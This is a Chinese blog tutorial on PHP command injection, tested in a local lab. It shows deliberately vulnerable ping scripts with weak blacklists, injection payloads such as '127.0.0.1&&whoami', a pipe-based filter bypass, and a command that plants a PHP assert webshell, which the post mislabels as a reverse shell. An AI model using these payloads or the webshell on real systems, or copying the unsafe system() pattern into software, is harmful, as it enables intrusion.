Command injection summary
前言
今天把系统重装了一遍,起因经过不想说什么= =。由于下午都在安环境和打补丁,也就只有晚上能学习一下。把命令注入学习总结了一遍
正文
漏洞产生的原因
由于开发人员使用脚本语言提供的命令执行操作,过滤又不完善用户又可以只有控制输入的变量。导致了变量可控,造成命令注入。
漏洞测试
测试环境为:win7+php5.6,使用phpstudy搭建
存在漏洞的脚本
<html>
<head>
<title>命令注入测试</title>
</head>
<body>
<p>输入IP</p>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF'];?>">
IP:<input name="host" type="text" required><br>
<input type="submit" value="提交">
<p id="demo">我是结果</p>
</form>
</body>
</html>
<?php
header("Content-type: text/html;charset=utf-8");
if(isset($_GET['host'])){
$ud=$_GET['host'];
$zx=system("ping ".$ud);
echo $zx;
echo "<script>document.getElementById('demo').innerText=$zx</script>";
}
?>
上面这个例子可以看到无任何过滤,输入变量又可控,导致可以被用户任意执行命令
输入:
127.0.0.1&&dir
查看权限:
127.0.0.1&&whoami
反弹shell
echo "<?php @assert($_GET[_]);?>" >> zz.php
绕过过滤
一些程序员为了防止这种情况的发生,进行了一定的过滤
<html>
<head>
<title>命令注入测试</title>
</head>
<body>
<p>输入IP</p>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF'];?>">
IP:<input name="host" type="text" required><br>
<input type="submit" value="提交">
<p id="demo">我是结果</p>
</form>
</body>
</html>
<?php
header("Content-type: text/html;charset=utf-8");
if(isset($_GET['host'])){
$ud=$_GET['host'];
$j=check($ud);
echo "payload:$j";
echo "<br>";
$zx=system("ping ".$j);
echo $zx;
echo "<script>document.getElementById('demo').innerText=$zx</script>";
}
function check($v){
$black_list=array(';'=>'','&'=>'');
$th=str_replace(array_keys($black_list),$black_list,$v); /*读取黑名单数组里面的key,替换为黑名单里面的值也就是空*/
return $th;
}
?>
&和;被过滤掉了,那么我们用|代替
127.0.0.1 | ipconfig
过滤更严谨一点
<html>
<head>
<title>命令注入测试</title>
</head>
<body>
<p>输入IP</p>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF'];?>">
IP:<input name="host" type="text" required><br>
<input type="submit" value="提交">
<p id="demo">我是结果</p>
</form>
</body>
</html>
<?php
header("Content-type: text/html;charset=utf-8");
if(isset($_GET['host'])){
$ud=$_GET['host'];
$j=check($ud);
echo "payload:$j";
echo "<br>";
$zx=system("ping ".$j);
echo $zx;
echo "<script>document.getElementById('demo').innerText=$zx</script>";
}
function check($v){
$black_list=array(';'=>'','&'=>'','||'=>'','|'=>'',')'=>'','('=>'');
$th=str_replace(array_keys($black_list),$black_list,$v); /*读取黑名单数组里面的key,替换为黑名单里面的值也就是空*/
return $th;
}
?>
或许这样可以防御大部分攻击,但是并不能完全保证不会被FUZZ绕过,而且未来说不定也会有办法什么之类的。
防御方案有两个:
1.在获取用户输入后,用正则匹配出要进行命令执行的
2.加入token机制,表单限制为只能输入数字
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Command injection summary
本文作者:九世
发布时间:2019-01-29, 22:56:40
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/e2532565.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。